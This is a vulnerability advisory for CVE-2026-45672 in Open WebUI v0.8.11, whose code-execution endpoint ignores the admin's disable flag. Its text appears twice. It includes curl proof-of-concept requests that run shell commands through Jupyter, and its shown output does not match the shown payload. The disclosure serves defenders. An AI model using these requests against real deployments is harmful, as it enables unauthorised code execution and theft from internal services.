CVE-2026-45672

### Summary The `/api/v1/utils/code/execute` endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set `ENABLE_CODE_EXECUTION=false`. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes. ### Details The admin configuration correctly shows `ENABLE_CODE_EXECUTION: false`. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container. ### PoC **Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25.** **Setup:** Jupyter server connected, `ENABLE_CODE_EXECUTION=false` confirmed in admin config. ```bash # Step 1: Verify code execution is disabled curl -s http://target:8080/api/v1/configs/code_execution \ -H "Authorization: Bearer $TOKEN" # Returns: {"ENABLE_CODE_EXECUTION": false, ...} # Step 2: Execute code anyway — gate bypassed curl -s -X POST http://target:8080/api/v1/utils/code/execute \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"code":"import os; print(os.popen(\"id\").read())"}' ``` **Verified output:** ``` Config: {"ENABLE_CODE_EXECUTION":false,"CODE_EXECUTION_ENGINE":"jupyter",...} execute_status=200 execute_body={"stdout":"OPEN-WEBUI-SSRF-SECRET","stderr":"","result":""} ``` The PoC read the internal secret service content via Jupyter — despite `ENABLE_CODE_EXECUTION=false`. The Jupyter container has network access to internal services, making this both a code execution bypass and an SSRF vector. ### Impact Any authenticated user can execute arbitrary Python code in the Jupyter container, even when the admin has explicitly disabled code execution: - Arbitrary code execution in the Jupyter container (read files, spawn processes) - Network access to all internal Docker services from the Jupyter container - Data exfiltration from internal services - The admin's security configuration (`ENABLE_CODE_EXECUTION=false`) is silently ineffective - Users who are told "code execution is disabled" have a false sense of security ## Resolution Fixed in commit [6d736d3c5](https://github.com/open-webui/open-webui/commit/6d736d3c598dbe49488675ed42845e00b62dfcba), first released in **v0.8.12**. The `/api/v1/utils/code/execute` handler in `backend/open_webui/routers/utils.py` now checks `request.app.state.config.ENABLE_CODE_EXECUTION` before dispatching to the Jupyter engine and returns 403 with `FEATURE_DISABLED('Code execution')` when the admin has disabled the flag. The retrieval-side code path was gated in the same commit. Users on `>= 0.8.12` are not affected.

### Summary The `/api/v1/utils/code/execute` endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set `ENABLE_CODE_EXECUTION=false`. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes. ### Details The admin configuration correctly shows `ENABLE_CODE_EXECUTION: false`. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container. ### PoC **Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25.** **Setup:** Jupyter server connected, `ENABLE_CODE_EXECUTION=false` confirmed in admin config. ```bash # Step 1: Verify code execution is disabled curl -s http://target:8080/api/v1/configs/code_execution \ -H "Authorization: Bearer $TOKEN" # Returns: {"ENABLE_CODE_EXECUTION": false, ...} # Step 2: Execute code anyway — gate bypassed curl -s -X POST http://target:8080/api/v1/utils/code/execute \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"code":"import os; print(os.popen(\"id\").read())"}' ``` **Verified output:** ``` Config: {"ENABLE_CODE_EXECUTION":false,"CODE_EXECUTION_ENGINE":"jupyter",...} execute_status=200 execute_body={"stdout":"OPEN-WEBUI-SSRF-SECRET","stderr":"","result":""} ``` The PoC read the internal secret service content via Jupyter — despite `ENABLE_CODE_EXECUTION=false`. The Jupyter container has network access to internal services, making this both a code execution bypass and an SSRF vector. ### Impact Any authenticated user can execute arbitrary Python code in the Jupyter container, even when the admin has explicitly disabled code execution: - Arbitrary code execution in the Jupyter container (read files, spawn processes) - Network access to all internal Docker services from the Jupyter container - Data exfiltration from internal services - The admin's security configuration (`ENABLE_CODE_EXECUTION=false`) is silently ineffective - Users who are told "code execution is disabled" have a false sense of security ## Resolution Fixed in commit [6d736d3c5](https://github.com/open-webui/open-webui/commit/6d736d3c598dbe49488675ed42845e00b62dfcba), first released in **v0.8.12**. The `/api/v1/utils/code/execute` handler in `backend/open_webui/routers/utils.py` now checks `request.app.state.config.ENABLE_CODE_EXECUTION` before dispatching to the Jupyter engine and returns 403 with `FEATURE_DISABLED('Code execution')` when the admin has disabled the flag. The retrieval-side code path was gated in the same commit. Users on `>= 0.8.12` are not affected.